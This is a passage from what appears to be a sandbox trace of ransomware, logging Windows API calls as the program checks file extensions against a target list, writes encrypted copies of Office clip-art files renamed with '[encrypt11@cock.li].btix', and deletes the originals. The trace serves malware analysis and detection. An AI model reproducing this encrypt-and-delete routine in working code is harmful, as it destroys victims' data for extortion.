Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0137.308] lstrlenW (lpString=".doc") returned 4 [0137.308] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0137.308] lstrlenW (lpString=".docx") returned 5 [0137.308] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0137.308] lstrlenW (lpString=".pdf") returned 4 [0137.308] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0137.308] lstrlenW (lpString=".xls") returned 4 [0137.308] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0137.308] lstrlenW (lpString=".xlsx") returned 5 [0137.308] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0137.309] lstrlenW (lpString=".ppt") returned 4 [0137.309] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0137.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0137.309] lstrlenW (lpString=".zip") returned 4 [0137.309] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0137.309] lstrlenW (lpString=".rar") returned 4 [0137.309] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0137.309] lstrlenW (lpString=".bz2") returned 4 [0137.309] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0137.309] lstrlenW (lpString=".7z") returned 3 [0137.309] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0137.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0137.309] lstrlenW (lpString=".dbf") returned 4 [0137.309] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0137.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0137.309] lstrlenW (lpString=".1cd") returned 4 [0137.309] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0137.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0137.309] lstrlenW (lpString=".jpg") returned 4 [0137.309] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0137.309] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0137.309] lstrlenW (lpString="SPACE_01.MID") returned 12 [0137.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0137.317] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=4219) returned 1 [0137.317] CloseHandle (hObject=0x4c4) returned 1 [0137.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid")) returned 0x220 [0137.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0137.318] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.318] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0137.319] GetLastError () returned 0x0 [0137.319] ReadFile (in: hFile=0x4c4, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x107b, lpOverlapped=0x0) returned 1 [0137.328] WriteFile (in: hFile=0x508, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x1080, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x1080, lpOverlapped=0x0) returned 1 [0137.329] ReadFile (in: hFile=0x4c4, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0137.329] WriteFile (in: hFile=0x508, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0137.329] SetEndOfFile (hFile=0x508) returned 1 [0137.329] CloseHandle (hObject=0x508) returned 1 [0137.329] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.329] SetEndOfFile (hFile=0x4c4) returned 1 [0137.408] CloseHandle (hObject=0x4c4) returned 1 [0137.408] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0137.411] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid")) returned 1 [0137.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0137.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0137.412] lstrlenW (lpString=".doc") returned 4 [0137.412] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0137.412] lstrlenW (lpString=".docx") returned 5 [0137.412] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0137.412] lstrlenW (lpString=".pdf") returned 4 [0137.412] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0137.412] lstrlenW (lpString=".xls") returned 4 [0137.412] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0137.412] lstrlenW (lpString=".xlsx") returned 5 [0137.412] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0137.412] lstrlenW (lpString=".ppt") returned 4 [0137.412] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0137.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0137.412] lstrlenW (lpString=".zip") returned 4 [0137.412] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0137.412] lstrlenW (lpString=".rar") returned 4 [0137.412] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0137.412] lstrlenW (lpString=".bz2") returned 4 [0137.412] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0137.412] lstrlenW (lpString=".7z") returned 3 [0137.412] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0137.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0137.412] lstrlenW (lpString=".dbf") returned 4 [0137.412] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0137.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0137.412] lstrlenW (lpString=".1cd") returned 4 [0137.412] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0137.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0137.413] lstrlenW (lpString=".jpg") returned 4 [0137.413] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0137.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0137.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0137.413] lstrlenW (lpString=".doc") returned 4 [0137.413] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0137.413] lstrlenW (lpString=".docx") returned 5 [0137.413] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0137.413] lstrlenW (lpString=".pdf") returned 4 [0137.413] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0137.413] lstrlenW (lpString=".xls") returned 4 [0137.413] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0137.413] lstrlenW (lpString=".xlsx") returned 5 [0137.413] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0137.413] lstrlenW (lpString=".ppt") returned 4 [0137.413] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0137.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0137.413] lstrlenW (lpString=".zip") returned 4 [0137.413] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0137.413] lstrlenW (lpString=".rar") returned 4 [0137.413] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0137.413] lstrlenW (lpString=".bz2") returned 4 [0137.413] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0137.413] lstrlenW (lpString=".7z") returned 3 [0137.413] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0137.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0137.413] lstrlenW (lpString=".dbf") returned 4 [0137.413] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0137.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0137.413] lstrlenW (lpString=".1cd") returned 4 [0137.414] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0137.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0137.414] lstrlenW (lpString=".jpg") returned 4 [0137.414] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0137.414] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0137.414] lstrlenW (lpString="SPRNG_01.MID") returned 12 [0137.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0137.417] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=6700) returned 1 [0137.417] CloseHandle (hObject=0x4c4) returned 1 [0137.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid")) returned 0x220 [0137.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0137.418] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.418] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0137.418] GetLastError () returned 0x0 [0137.418] ReadFile (in: hFile=0x4c4, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x1a2c, lpOverlapped=0x0) returned 1 [0137.422] WriteFile (in: hFile=0x540, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x1a30, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x1a30, lpOverlapped=0x0) returned 1 [0137.423] ReadFile (in: hFile=0x4c4, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0137.423] WriteFile (in: hFile=0x540, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0137.423] SetEndOfFile (hFile=0x540) returned 1 [0137.423] CloseHandle (hObject=0x540) returned 1 [0137.423] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.423] SetEndOfFile (hFile=0x4c4) returned 1 [0137.425] CloseHandle (hObject=0x4c4) returned 1 [0137.426] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0137.426] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid")) returned 1 [0137.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0137.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0137.427] lstrlenW (lpString=".doc") returned 4 [0137.427] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0137.427] lstrlenW (lpString=".docx") returned 5 [0137.427] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0137.427] lstrlenW (lpString=".pdf") returned 4 [0137.427] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0137.427] lstrlenW (lpString=".xls") returned 4 [0137.427] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0137.427] lstrlenW (lpString=".xlsx") returned 5 [0137.427] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0137.427] lstrlenW (lpString=".ppt") returned 4 [0137.427] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0137.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0137.427] lstrlenW (lpString=".zip") returned 4 [0137.427] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0137.427] lstrlenW (lpString=".rar") returned 4 [0137.427] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0137.427] lstrlenW (lpString=".bz2") returned 4 [0137.427] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0137.427] lstrlenW (lpString=".7z") returned 3 [0137.427] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0137.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0137.427] lstrlenW (lpString=".dbf") returned 4 [0137.427] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0137.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0137.428] lstrlenW (lpString=".1cd") returned 4 [0137.428] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0137.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0137.428] lstrlenW (lpString=".jpg") returned 4 [0137.428] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0137.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0137.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0137.428] lstrlenW (lpString=".doc") returned 4 [0137.428] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0137.428] lstrlenW (lpString=".docx") returned 5 [0137.428] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0137.428] lstrlenW (lpString=".pdf") returned 4 [0137.428] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0137.428] lstrlenW (lpString=".xls") returned 4 [0137.428] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0137.428] lstrlenW (lpString=".xlsx") returned 5 [0137.428] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0137.428] lstrlenW (lpString=".ppt") returned 4 [0137.428] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0137.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0137.428] lstrlenW (lpString=".zip") returned 4 [0137.428] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0137.428] lstrlenW (lpString=".rar") returned 4 [0137.428] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0137.428] lstrlenW (lpString=".bz2") returned 4 [0137.428] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0137.428] lstrlenW (lpString=".7z") returned 3 [0137.428] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0137.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0137.428] lstrlenW (lpString=".dbf") returned 4 [0137.428] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0137.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0137.428] lstrlenW (lpString=".1cd") returned 4 [0137.428] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0137.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0137.429] lstrlenW (lpString=".jpg") returned 4 [0137.429] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0137.429] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0137.429] lstrlenW (lpString="SUMER_01.MID") returned 12 [0137.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0137.430] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=14044) returned 1 [0137.430] CloseHandle (hObject=0x4c4) returned 1 [0137.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid")) returned 0x220 [0137.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0137.430] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.430] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0137.431] GetLastError () returned 0x0 [0137.431] ReadFile (in: hFile=0x4c4, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x36dc, lpOverlapped=0x0) returned 1 [0137.437] WriteFile (in: hFile=0x540, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x36e0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x36e0, lpOverlapped=0x0) returned 1 [0137.438] ReadFile (in: hFile=0x4c4, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0137.438] WriteFile (in: hFile=0x540, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0137.439] SetEndOfFile (hFile=0x540) returned 1 [0137.439] CloseHandle (hObject=0x540) returned 1 [0137.439] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.439] SetEndOfFile (hFile=0x4c4) returned 1 [0137.443] CloseHandle (hObject=0x4c4) returned 1 [0137.443] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0137.445] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid")) returned 1 [0137.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0137.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0137.447] lstrlenW (lpString=".doc") returned 4 [0137.447] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0137.447] lstrlenW (lpString=".docx") returned 5 [0137.447] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0137.447] lstrlenW (lpString=".pdf") returned 4 [0137.447] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0137.447] lstrlenW (lpString=".xls") returned 4 [0137.447] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0137.447] lstrlenW (lpString=".xlsx") returned 5 [0137.447] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0137.447] lstrlenW (lpString=".ppt") returned 4 [0137.447] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0137.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0137.447] lstrlenW (lpString=".zip") returned 4 [0137.447] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0137.447] lstrlenW (lpString=".rar") returned 4 [0137.447] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0137.447] lstrlenW (lpString=".bz2") returned 4 [0137.447] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0137.448] lstrlenW (lpString=".7z") returned 3 [0137.448] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0137.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0137.448] lstrlenW (lpString=".dbf") returned 4 [0137.448] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0137.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0137.448] lstrlenW (lpString=".1cd") returned 4 [0137.448] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0137.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0137.448] lstrlenW (lpString=".jpg") returned 4 [0137.448] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0137.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0137.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0137.448] lstrlenW (lpString=".doc") returned 4 [0137.448] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0137.448] lstrlenW (lpString=".docx") returned 5 [0137.448] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0137.448] lstrlenW (lpString=".pdf") returned 4 [0137.448] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0137.448] lstrlenW (lpString=".xls") returned 4 [0137.448] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0137.448] lstrlenW (lpString=".xlsx") returned 5 [0137.448] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 